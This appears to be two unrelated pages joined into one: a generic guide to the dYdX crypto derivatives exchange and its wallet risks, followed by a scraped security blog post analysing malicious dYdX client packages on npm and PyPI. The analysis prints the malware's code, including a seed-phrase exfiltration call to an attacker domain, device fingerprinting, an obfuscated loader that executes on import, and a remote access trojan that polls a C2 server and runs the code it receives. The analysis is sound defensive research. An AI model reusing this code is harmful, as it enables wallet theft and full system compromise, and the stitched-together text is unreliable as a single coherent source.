Dydx exchange Is a Decentralized Trading Platform and Security Topic

Dydx exchange Is a decentralized cryptocurrency trading platform best known for perpetual futures, wallet-based access, and advanced trading tools. Users search for Dydx exchange to understand how the platform works, what it is used for, and what safety checks matter before connecting a wallet, depositing collateral, using APIs, or relying on third-party tools. It can be useful for experienced crypto traders, but it carries market, liquidation, smart contract, wallet, and software supply chain risks.

Dydx exchange sits in the broader category of DeFi derivatives, where traders can take long or short exposure to crypto markets without using a traditional brokerage account. The platform is not the same as a simple token swap interface. It is closer to a professional trading venue built around order books, margin, funding rates, leverage, and perpetual contracts. That makes Dydx exchange attractive to active traders, but it also means a new user should slow down and understand the mechanics before placing a trade.

Dydx exchange is also a search term that can point to several related topics: the trading application, the dYdX protocol, the dYdX Chain, governance, client libraries, developer integrations, and security incidents affecting surrounding infrastructure. This page is an informational guide, not an official page and not financial advice. Details such as supported markets, fees, wallet requirements, jurisdictions, and software package status can change, so users should verify important facts through official sources before acting.

What is Dydx exchange?

Dydx exchange is commonly understood as a decentralized exchange for crypto derivatives, especially perpetual contracts. A perpetual contract is a derivative product that tracks the price of an underlying asset without a fixed expiry date. Instead of buying spot Bitcoin, Ether, Solana, or another asset outright, a trader may use a perpetual contract to speculate on price movement, hedge exposure, or manage a strategy with collateral and margin.

Dydx exchange differs from many centralized exchanges because wallet connection, protocol design, and on-chain settlement are part of the experience. Depending on the version and interface being used, traders may interact with a specialized chain, smart contracts, validators, indexers, wallets, bridges, or off-chain order infrastructure. The important practical point is that Dydx exchange combines familiar trading concepts with crypto-native custody and settlement assumptions.

Dydx exchange is not a risk-free alternative to a centralized exchange. Decentralized systems can reduce some counterparty risks, but they introduce other responsibilities. Users must protect wallets, understand signatures, keep seed phrases private, and check that they are using the correct application. Developers who build bots or portfolio tools around Dydx exchange must also secure their dependencies, environment variables, signing keys, and deployment systems.

How does Dydx exchange work for traders?

Dydx exchange generally works by letting users connect a compatible wallet, provide collateral, select a market, and place orders on perpetual futures markets. The user interface may look familiar to anyone who has used a trading terminal: charts, order books, recent trades, balances, open positions, margin requirements, and order entry controls. Behind that interface, Dydx exchange relies on crypto infrastructure rather than a conventional account login alone.

The protocol design matters because trading is not just clicking buy or sell. Dydx exchange users may need to understand collateral, unrealized profit and loss, maintenance margin, liquidation price, funding payments, and the effect of leverage. A small price movement can have an outsized effect on a leveraged position. That is why a position that seems manageable at low volatility can become dangerous when markets move quickly.

Dydx exchange also depends on accurate market data, reliable execution, and clear signing flows. When a wallet prompts a user to approve or sign something, the user should read the action carefully. A legitimate trade authorization is different from a suspicious token approval, an unexpected permit request, or a wallet-draining transaction. In practice, Dydx exchange safety starts before the order is placed, because wallet hygiene and domain verification are part of the trading workflow.

Why do people use Dydx exchange?

Dydx exchange appeals to traders who want access to crypto perpetuals through a DeFi-oriented venue. Some users value non-custodial design, while others care about market depth, speed, programmable access, or the ability to trade both rising and falling markets. The platform is often discussed alongside concepts such as decentralized finance, derivatives liquidity, governance tokens, market makers, and automated trading systems.

Dydx exchange can serve several practical use cases, though none of them guarantee profit. A trader might use it to hedge spot holdings, express a short-term market view, run a market-neutral strategy, or test algorithmic execution. A developer might use client libraries or APIs to place orders, read market data, or manage strategy logic. A researcher might study Dydx exchange to understand how decentralized derivatives markets compete with centralized venues.

Dydx exchange is best suited to users who already understand crypto wallets and trading risk. Someone who is still learning how seed phrases, gas fees, bridges, collateral, and order types work should treat the platform as advanced. Even experienced traders should start with small size, confirm basic mechanics, and avoid using funds they cannot afford to lose. Market risk and operational mistakes can both create serious losses.

How to get started with Dydx exchange step by step

Dydx exchange onboarding can vary as the platform evolves, but the basic workflow usually follows a predictable path. The most important step is to verify that the user is on the correct official application and not a lookalike domain, advertisement, copied interface, or unsolicited link. Because crypto trading uses wallet signatures, a phishing page can be more dangerous than an ordinary fake login form.

  1. Confirm the official Dydx exchange web address and review current documentation before connecting a wallet.
  2. Use a wallet with limited funds for testing rather than exposing a primary long-term storage wallet.
  3. Review supported networks, collateral assets, deposit or bridge requirements, and any regional restrictions.
  4. Place a small test action first so the funding, signing, and order flow are clear.
  5. Monitor margin, liquidation price, funding, fees, and open orders after the trade is live.

Dydx exchange users should also develop a habit of checking every wallet prompt. A deposit, order signature, or withdrawal should match the action the user intended to take. If the prompt appears unexpectedly, asks for broad permissions, or appears after clicking a link from a message, search result ad, or social post, it is safer to stop and verify. Dydx exchange cannot protect a user who willingly signs a malicious transaction on a fake site.

For a new user, Dydx exchange should be approached as a trading system rather than a passive account. Keeping records, understanding order status, and knowing how to exit a position matter. If a user does not understand what happens during liquidation or how leverage changes exposure, the next step should be education rather than a larger trade.

Fees, funding, and trading costs on Dydx exchange

Dydx exchange costs can include trading fees, funding payments, network-related costs, bridge costs, spread, slippage, and opportunity cost from collateral usage. The exact numbers can change, and fee schedules may depend on volume tiers, market conditions, governance decisions, or interface updates. Because of that, Dydx exchange users should always check current fee information directly before making a trade.

Dydx exchange perpetuals may include funding, which is a periodic payment mechanism intended to keep contract prices aligned with the underlying market. Funding can be paid or received depending on market conditions and position direction. This detail is easy to overlook because it is not always felt at order entry, but over time it can affect returns. A trade that looks profitable on price movement alone can be less attractive after funding and fees.

Dydx exchange traders should also account for execution quality. A market order can fill quickly but may cross the spread or suffer slippage during fast markets. A limit order offers price control but may not fill. For active users, these tradeoffs can matter as much as headline fee percentages. Good risk management includes knowing the total cost of entering, holding, and exiting a position.

Is Dydx exchange safe?

Dydx exchange safety cannot be answered with a simple yes or no. The platform may reduce some custody risks compared with leaving funds on a centralized exchange, but it does not remove trading risk, wallet risk, smart contract risk, governance risk, validator or network risk, interface risk, or dependency risk. The safer question is whether a specific user, wallet, device, and workflow are prepared for the risks involved.

Dydx exchange has been discussed in security contexts because attackers often target valuable crypto infrastructure, users, and developer tools. Threats can include phishing domains, DNS attacks, malicious approvals, compromised software packages, fake support accounts, wallet-draining prompts, and tainted third-party libraries. These issues may not mean that the core exchange is compromised, but they show why users should treat every surrounding component with caution.

Dydx exchange developers have an additional layer of responsibility. Trading bots and backend systems can hold mnemonics, private keys, API credentials, or signing permissions. If a dependency from npm, PyPI, or another package ecosystem is compromised, the damage can extend beyond a single browser session. Developers should pin versions, review package provenance, scan dependencies, isolate secrets, use hardware-backed signing where possible, and avoid storing raw seed phrases in application code.

Dydx exchange users can reduce risk by using bookmarks for verified sites, enabling wallet security features, separating trading wallets from cold storage, avoiding unsolicited links, and reviewing token approvals. They should also track official incident updates if there are reports about packages, domains, or frontends. In crypto, a small verification habit can prevent a mistake that no support desk can reverse.

Dydx exchange trading and wallet security overview

Dydx exchange compared with centralized exchanges and spot DEXs

Dydx exchange is often compared with centralized derivatives exchanges because both can offer order books, leverage, perpetual markets, and advanced trading controls. The difference is that a centralized platform typically manages accounts, custody, matching infrastructure, and compliance through a company-operated system. Dydx exchange aims to deliver a more crypto-native model, where wallets, protocol rules, and decentralized infrastructure play a larger role.

Dydx exchange also differs from spot decentralized exchanges. A spot DEX usually lets users swap one asset for another through liquidity pools or routing systems. Dydx exchange focuses on derivatives trading, where the user is managing a contract position rather than simply exchanging tokens. That difference changes the risk profile: collateral, leverage, funding, liquidation, and mark price become central concepts.

Trading venue type Typical focus Main user responsibility
Dydx exchange Perpetual futures and advanced DeFi trading Wallet safety, margin management, and trade risk
Centralized exchange Custodial spot and derivatives trading Account security, platform trust, and compliance limits
Spot decentralized exchange Token swaps and liquidity pools Token approval safety, slippage, and pool risk

Dydx exchange may be compelling for users who want derivatives exposure without relying entirely on a custodial account. However, centralized exchanges may feel simpler for some users because account recovery, fiat rails, and customer support are more familiar. Spot DEXs may be better aligned with simple token swaps. The right venue depends on the user's experience, goals, jurisdiction, and risk tolerance.

Benefits and limits of Dydx exchange

Dydx exchange can offer meaningful benefits for sophisticated crypto traders. These may include wallet-based access, transparent market data, perpetual contract markets, programmable trading possibilities, and participation in a broader DeFi ecosystem. For some users, Dydx exchange represents a way to combine professional trading workflows with decentralized infrastructure.

Dydx exchange also has clear limits. It is not designed to protect users from poor trade decisions, excessive leverage, phishing, insecure devices, or careless key management. It may not be suitable for users who want simple buy-and-hold spot exposure. It may also be unavailable or unsuitable in some locations, and the user is responsible for understanding local rules and platform restrictions.

Dydx exchange can be especially risky during periods of market stress. Volatility can widen spreads, trigger liquidations, change funding dynamics, and make exits more expensive. Technical congestion, front-end issues, wallet problems, or oracle-related concerns can also complicate trading. A trader should plan for these scenarios before entering a position, not after the market has already moved.

What should users verify before using Dydx exchange?

Dydx exchange users should verify official domains, documentation, fee schedules, supported markets, wallet compatibility, bridge flows, and the exact transaction being signed. They should also confirm whether the platform is appropriate for their region and whether they understand the product being traded. A derivatives platform is not a savings account, and a wallet signature is not something to approve casually.

Dydx exchange developers should verify package names, versions, maintainers, release notes, checksums when available, and dependency behavior before integrating software into a production trading system. A client library that can sign transactions or manage orders is a high-value target. Security review should be treated as part of the trading stack, not a separate administrative task.

Dydx exchange can be a powerful part of the crypto trading landscape, but it rewards careful preparation more than casual experimentation. Users should learn the mechanics, keep wallet exposure limited, verify information through official sources, and avoid trading products they do not understand. Used thoughtfully, Dydx exchange is an advanced DeFi venue; used carelessly, it can amplify both financial and security mistakes.

Reader rating: 4.5 / 5 based on 198 ratings

Questions and Answers

What is Dydx exchange used for?

Dydx exchange is used for decentralized crypto derivatives trading, especially perpetual futures. Traders may use it to go long or short, hedge spot holdings, manage collateral-backed positions, or build automated strategies. It is more advanced than a simple token swap app because it involves leverage, margin, funding, liquidation risk, and wallet-based security decisions.

Is Dydx exchange the same as a centralized crypto exchange?

Dydx exchange is not the same as a typical centralized exchange. Centralized exchanges usually custody user funds and manage accounts internally, while Dydx exchange is built around decentralized infrastructure, wallets, and protocol-based trading. That can reduce some counterparty concerns, but it also shifts more responsibility to the user for wallet safety, transaction review, and risk management.

Can beginners use Dydx exchange safely?

Beginners can study Dydx exchange, but they should be careful before trading with real funds. The platform is designed for derivatives, so users need to understand collateral, leverage, funding, order types, and liquidation. A safer learning approach is to read official materials, use a separate wallet, test with small amounts, and avoid any trade that is not fully understood.

What are the main risks of Dydx exchange?

The main risks of Dydx exchange include market losses, liquidation from leverage, funding costs, slippage, smart contract or network issues, phishing, malicious approvals, and compromised third-party tools. Developers also need to watch dependency and secret-management risk. Users should verify current details with official sources and never treat any crypto derivatives platform as guaranteed safe or profitable.

Does Dydx exchange require a crypto wallet?

Dydx exchange generally relies on crypto wallet interaction rather than only a conventional username and password account. The exact wallet, network, and funding requirements can change as the platform evolves. Users should confirm current wallet support and deposit steps through official documentation, then review every wallet prompt before approving signatures, transactions, deposits, or withdrawals.

How do fees work on Dydx exchange?

Fees on Dydx exchange can include trading fees, funding payments, spread, slippage, and network or bridge-related costs. Exact fee schedules and market details may change, so users should check current official information before trading. Funding is especially important for perpetual contracts because it can affect the cost of holding a position over time.

What should developers check before integrating Dydx exchange tools?

Developers should verify package names, maintainers, versions, release notes, and dependency behavior before integrating Dydx exchange client libraries or APIs. Trading software may handle sensitive actions such as order placement, signing, or wallet management. Version pinning, dependency scanning, secret isolation, code review, and limited-permission wallets can reduce the damage from compromised packages or operational mistakes.

Search on Youtube!

Dydx exchange

Privacy Policy

Terms of Service

Refund Policy

Dydx exchange

Big News: Socket raises $60M Series C at a $1B valuation to secure software supply chains for AI-driven development. Announcement →
Sign In
Blog

Malicious dYdX Packages Published to npm and PyPI After Maintainer Compromise

Malicious dYdX client packages were published to npm and PyPI after a maintainer compromise, enabling wallet credential theft and remote code execution.

Kush Pandya

February 6, 2026

8 min read

Summarize with AI

Socket's Threat Research Team discovered a supply chain attack targeting the dYdX protocol package across npm and PyPI ecosystems. The dYdX protocol is a decentralized exchange for cryptocurrency derivatives trading. The @dydxprotocol/v4-client-js (npm) and dydx-v4-client (PyPI) packages provide developers with tools to interact with the dYdX v4 protocol, including transaction signing, order placement, and wallet management. Applications using these packages handle sensitive cryptocurrency operations.

The compromised versions affected both the JavaScript and Python ecosystems with different payloads, targeting the two most common languages for trading automation and quantitative finance development.

npm: Cryptocurrency wallet stealer that exfiltrates seed phrases and device fingerprints.

PyPI: Wallet stealer plus Remote Access Trojan (RAT) enabling arbitrary code execution.

Compromised Versions:

npm ( @dydxprotocol/v4-client-js ):

  • 3.4.1
  • 1.22.1
  • 1.15.2
  • 1.0.31

PyPI ( dydx-v4-client ):

  • 1.1.5post1

dYdX is one of the largest decentralized derivatives exchanges, processing over $1.5 trillion in lifetime trading volume with daily trading volume averaging $200-540 million and approximately $175 million in open interest. The platform supports 240+ perpetual trading markets and has over 70,700 token holders. These packages are used by trading bots, portfolio management tools, market makers, algorithmic traders, and DeFi applications that integrate dYdX's trading infrastructure. Applications that use these packages in custodial contexts such as trading bots, automated strategies, or backend services that directly handle mnemonics or private keys for signing, are high-value targets for credential theft.

The legitimate dYdX exchange at dydx[.]xyz . The threat actor's typosquatting domain dydx[.]priceoracle[.]site was designed to appear related to this trusted service.

The compromised versions affected both the JavaScript and Python ecosystems with different payloads, targeting the two most common languages for trading automation and quantitative finance development.

npm: Cryptocurrency wallet stealer that exfiltrates seed phrases and device fingerprints.

PyPI: Wallet stealer plus Remote Access Trojan (RAT) enabling arbitrary code execution.

Compromised Versions:

npm ( @dydxprotocol/v4-client-js ):

  • 3.4.1
  • 1.22.1
  • 1.15.2
  • 1.0.31

PyPI ( dydx-v4-client ):

  • 1.1.5post1

The attack appears consistent with developer account compromise, though this has not been confirmed. Multiple malicious versions were published simultaneously to both ecosystems using legitimate publishing credentials, with the malware embedded deep within authentic package structures rather than added as external dependencies. The threat actor demonstrated detailed knowledge of the package internals, inserting malicious code into core registry files ( registry.ts , registry.js , account.py ) that would execute during normal package usage. The 100-iteration obfuscation in the PyPI version and the coordinated cross-ecosystem deployment suggest the threat actor had direct access to publishing infrastructure rather than exploiting a technical vulnerability in the registries themselves.

This attack is not an isolated event. Over the past several years, threat actors have repeatedly targeted dYdX-related infrastructure and packages through different attack vectors, including supply chain compromise and domain-level attacks.

September 2022: npm Supply Chain Compromise

In September 2022, multiple npm packages used by cryptocurrency exchanges, including packages associated with the dYdX ecosystem, were compromised after a maintainer’s npm account was taken over. The malicious versions embedded install-time scripts that fetched and executed external payloads during installation.

The malware targeted developer environments, exfiltrating sensitive data such as environment variables, AWS credentials, GitHub tokens, and SSH keys. At least dozens of downstream crypto projects were impacted before the malicious packages were removed. dYdX confirmed at the time that its core smart contracts and exchange infrastructure were not compromised, and that the incident was limited to affected npm packages published via compromised credentials.

July 2024: DNS Hijacking of dYdX v3 Website

In July 2024, the dYdX v3 website was compromised in a DNS hijacking attack that redirected users to a phishing site. The malicious site prompted users to sign PERMIT2 transactions designed to drain wallets. This incident targeted end users through domain infrastructure rather than software packages or developer tooling.

While the 2024 attack affected the dYdX v3 web frontend, the current incident directly compromises the dYdX v4 client libraries that developers integrate into their applications, marking a significant escalation in scope and impact.

Socket's AI Scanner flagged the compromised dYdX package identifying malware that steals cryptocurrency credentials.

Socket identified malicious behavior in these packages on January 27, 2026. Based on internal analysis across the affected releases, the malicious packages were detected within minutes of publication, with discovery timestamps clustered around January 27, 2026 (UTC).

Socket notified the dYdX team of the compromised packages on January 28, 2026 at approximately 12:19 UTC (4:19 AM PST), providing details of the malicious behavior and affected versions. Later that day, following our disclosure of the compromise to the dYdX project, dYdX publicly acknowledged the incident via their official X (Twitter) account , warning users about the malicious package uploads.

npm Package: Credential Theft #

The npm package embeds a malicious createRegistry() function in registry.ts , registry.js , and another identical registry.js in a different file path. When developers integrate this package and pass a user's seed phrase to createRegistry() , the function exfiltrates it alongside a device fingerprint. Following are the code snippets with inline comments added by our team for clarity.

export async function createRegistry(phrase: string) {
  try {
    const uid = getDeviceUuid();
    await fetch("https://dydx[.]priceoracle[.]site/v4/price", {
      method: "POST",
      body: JSON.stringify({
        phrase,              // Victim's seed phrase
        "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c",
        uid                  // Device fingerprint
      })
    })
  } catch { }
}

The empty catch block silences network errors, preventing console warnings during testing. The exfiltration domain dydx[.]priceoracle[.]site mimics the legitimate dYdX service at dydx[.]xyz through typosquatting.

Device Fingerprinting #

The malware generates a unique identifier from system information:

function getDeviceUuid() {
  try {
    const parts = [];
    parts.push(getMacLikeUuidNode());      // MAC address
    parts.push(os.hostname());              // Hostname
    parts.push(os.platform());              // OS platform
    parts.push(os.release());               // OS version
    parts.push(os.arch());                  // Architecture
    parts.push(fs.readFileSync("/etc/machine-id", "utf8").trim());
    parts.push(process.env.HOSTNAME || "");
    parts.push(process.env.COMPUTERNAME || "");

    const fingerprint = parts.join("|");
    const digest = crypto.createHash("sha256").update(fingerprint, "utf8").digest();
    const b = Buffer.from(digest.subarray(0, 16));
    b[6] = (b[6] & 0x0f) | 0x40;
    b[8] = (b[8] & 0x3f) | 0x80;
    return formatUuidFromBytes(b);
  } catch {
    return "00000000-0000-0000-0000-000000000000"
  }
}

The fingerprint allows the threat actor to correlate stolen credentials with specific machines and track victims across multiple compromises.

PyPI Package: Credential Theft + Remote Access Trojan #

The PyPI package includes the same credential theft mechanism plus an additional Remote Access Trojan hidden inside an encrypted payload. The RAT enables arbitrary code execution on victim systems.

Credential Theft

The PyPI package embeds credential theft inside account.py as a function named list_prices() . The function claims to query trading prices but exfiltrates seed phrases:

def list_prices(self, phrase: str) -> Any:
    """
    Query for prices for trading.
    Args:
        phrase (str): The account phrase
    Returns:
        Any: The aggregated list of price.
    """
    # Device fingerprinting (same logic as npm version)
    parts = []
    parts.append(str(uuid.getnode()))          # MAC address
    parts.append(socket.gethostname())
    parts.append(platform.system())
    parts.append(platform.release())
    parts.append(platform.machine())
    if os.path.exists("/etc/machine-id"):
        parts.append(open("/etc/machine-id").read().strip())
    parts.append(os.getenv("HOSTNAME", ""))
    parts.append(os.getenv("COMPUTERNAME", ""))

    fingerprint = "|".join(parts)
    digest = hashlib.sha256(fingerprint.encode()).hexdigest()
    b = bytearray.fromhex(digest[:32])
    b[6] = (b[6] & 0x0F) | 0x40
    b[8] = (b[8] & 0x3F) | 0x80
    uid = str(uuid.UUID(bytes=bytes(b)))

    r = requests.post(
        self.host + "/v4/price",
        json={
            "phrase": phrase,
            "api-key": "dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c",
            "uid": uid
        },
        timeout=20
    )
    r.raise_for_status()
    return r.text

The device fingerprinting logic mirrors the npm implementation with minor adjustments for Python's standard library.

Remote Access Trojan Payload #

The PyPI package includes three additional files not present in the npm version:

  • config.py : Contains the encrypted RAT payload in a variable named GENSIS_BLOCKS
  • _bootstrap.py : Auto-executes the payload when the package is imported
  • Deobfuscated RAT: Contacts the C2 server for arbitrary code execution

Payload Obfuscation

The GENSIS_BLOCKS variable holds a 5,527-character base64-encoded blob. The _bootstrap.py file deobfuscates it using 100 iterations of: reverse string → base64 decode → zlib decompress (wbits=47).

import base64 as b, gzip as g, zlib as z
from functools import reduce
from .config import GENSIS_BLOCKS

_initialized = False

def D(s):
    """Single deobfuscation pass"""
    try:
        return z.decompress(b.b64decode(s[::-1]+"==="), 47).decode("utf8", "replace")
    except:
        raise

def init():
    global _initialized
    if _initialized:
        return
    _initialized = True

    # Apply 100 deobfuscation iterations
    dz = lambda s, n: reduce(lambda a, _: D(a), range(n), s)
    ns = {}
    exec(dz(GENSIS_BLOCKS, 100), ns)  # Execute deobfuscated payload

The init() function runs automatically on first import, executing the RAT silently in the background.

RAT Functionality

The deobfuscated payload reveals a Remote Access Trojan that contacts https://dydx[.]priceoracle[.]site/py for commands:

def main() -> None:
    payload_data = {
        "uid": str(uuid.uuid4())
    }
    file_data = {"file": {"name": "t.py"}}
    payload_data["data"] = json.dumps(file_data)

    while True:
        response = send_post_request(
            f"https://dydx[.]priceoracle[.]site/py",
            payload_data
        )
        if response != "":
            run_script_async(response)  # Execute code from server
            time.sleep(5)
            break
        else:
            time.sleep(10)

# Start RAT in background daemon thread
t = threading.Thread(target=main, daemon=True, name="async-main-runner")
t.start()

The RAT:

  • Runs as a background daemon thread
  • Beacons to the C2 server every 10 seconds
  • Receives Python code from the server
  • Executes it in an isolated subprocess with no visible output
  • Uses a hardcoded authorization token: 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75
def send_post_request(server_url: str, payload_data: Dict[str, Any]) -> str:
    req = urllib.request.Request(
        url=server_url,
        data=json.dumps(payload_data).encode("utf-8"),
        headers={
            "Content-Type": "application/json",
            "Accept": "application/json, text/plain, */*",
            "Authorization": "490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75"
        },
        method="POST",
    )
    # ... executes with disabled SSL verification

The run_script_async() function creates temporary files containing the received code, executes them with all stdio redirected to /dev/null , and deletes the files afterward. On Windows, it uses the CREATE_NO_WINDOW flag to hide the process entirely.

Malicious Infrastructure #

The threat actor registered priceoracle[.]site on January 9, 2026, approximately 3 weeks before the compromise. The domain mimics legitimate price oracle services commonly used in cryptocurrency trading, while the dYdX subdomain creates false association with the dYdX protocol.

Domain registration details for priceoracle[.]site showing the threat actor registered the infrastructure on January 9, 2026.

The malicious infrastructure serves two endpoints:

  • https://dydx[.]priceoracle[.]site/v4/price - Credential exfiltration (npm & PyPI)
  • https://dydx[.]priceoracle[.]site/py - RAT command & control (PyPI only)

The domain status shows "server transfer prohibited" and "client hold," indicating it has likely been seized or locked following abuse reports. However, the threat actor may have already exfiltrated stolen credentials and established persistent RAT access on compromised systems before the domain was disabled.

The recent registration date (less than a month before the attack) and the typosquatting approach (mimicking "oracle" services rather than "dydx" directly) suggest this was purpose-built infrastructure for the campaign.

Impact #

Every application using the compromised npm versions is at risk if createRegistry() receives a seed phrase. Direct impact includes complete wallet compromise and irreversible cryptocurrency theft. The attack scope includes all applications depending on the compromised versions and both developers testing with real credentials and production end-users.

PyPI users face complete system compromise beyond wallet theft. The RAT allows threat actor to:

  • Execute arbitrary Python code with user privileges
  • Steal SSH keys, API credentials, and source code
  • Install persistent backdoors
  • Exfiltrate sensitive files
  • Monitor user activity
  • Modify critical files
  • Pivot to other systems on the network

The RAT runs silently as a daemon thread with no console output. Victims have no visibility into what commands were executed or what data was stolen. The compromise persists as long as any Python process imports the malicious package.

For enterprise environments, the device fingerprinting component reveals system configuration details, hostnames, and network topology information that could facilitate targeted attacks.

Outlook and Recommendations #

Viewed alongside the 2022 npm supply chain compromise and the 2024 DNS hijacking incident, this attack highlights a persistent pattern of adversaries targeting dYdX-related assets through trusted distribution channels. The threat actor simultaneously compromised packages in both npm and PyPI ecosystems, expanding the attack surface to reach JavaScript and Python developers working with dYdX. The PyPI version deploys significantly more dangerous capabilities through the RAT payload, suggesting the threat actor invested additional effort to maximize impact on Python users.

The nearly identical credential theft implementations across languages indicate deliberate planning. The threat actor maintained consistent exfiltration endpoints, API keys, and device fingerprinting logic while deploying ecosystem-specific attack vectors. The npm version focuses on credential theft, while the PyPI version adds persistent system access.

The RAT's multi-stage obfuscation (100 iterations of reverse → base64 → zlib) and silent background execution demonstrate technical proficiency. The use of daemon threads, disabled SSL verification, and hidden subprocess execution indicates experience with stealth operations.

Developer account compromise allows threat actors to inject malicious code into trusted packages, bypassing standard security reviews. This attack follows patterns seen in event-stream (2018), coa/rc (2021), and node-ipc (2022), but represents an escalation through multi-ecosystem deployment and arbitrary code execution capabilities.

Similar attacks will continue targeting high-value cryptocurrency packages across all major ecosystems. Development teams should treat all dependencies handling sensitive credentials as high-risk and implement defense-in-depth strategies including automated scanning, network monitoring, and least-privilege access controls.

Socket provides multiple layers of defense against supply chain attacks like this dYdX compromise. When developers browse package registries, the Socket browser extension identifies suspicious packages and typosquatting domains before installation. During development, the Socket GitHub App analyzes dependencies in pull requests, detecting credential exfiltration, obfuscated payloads, and malicious network calls before code merges. At install time, the Socket CLI blocks packages exhibiting dangerous behaviors and enforces security policies across the development pipeline. For production environments, Socket Firewall prevents package managers from downloading compromised versions entirely, blocking both direct dependencies and their transitive dependencies. When using AI coding assistants, Socket MCP validates package suggestions in real-time, preventing tools from recommending malicious versions or hallucinated packages.

MITRE ATT&CK #

  • T1195.002 — Supply Chain Compromise: Compromise Software Supply Chain
  • T1059.006 — Command and Scripting Interpreter: Python
  • T1071.001 — Application Layer Protocol: Web Protocols
  • T1027 — Obfuscated Files or Information
  • T1082 — System Information Discovery
  • T1041 — Exfiltration Over C2 Channel
  • T1005 — Data from Local System

Indicators of Compromise (IOCs) #

Malicious Endpoints

  • https://dydx[.]priceoracle[.]site
  • https://dydx[.]priceoracle[.]site/v4/price
  • https://dydx[.]priceoracle[.]site/py

Malicious Packages

  • npm: @dydxprotocol/v4-client ( v1.0.31, v1.15.2, v1.22.1, v3.4.1 )
  • PyPI: dydx-v4-client ( v1.1.5post1 )

Hardcoded Credentials

  • Credential theft API key: dydx1gh6fj28w37rykqu6szgp9q0rzejslmj0umk55c
  • RAT authorization token: 490CD9DAD3FAE1F59521C27A96B32F5D677DD41BF1F706A0BF85E69CA6EBFE75

Subscribe to our newsletter

Get notified when we publish new security blog posts!

Related posts

Back to all posts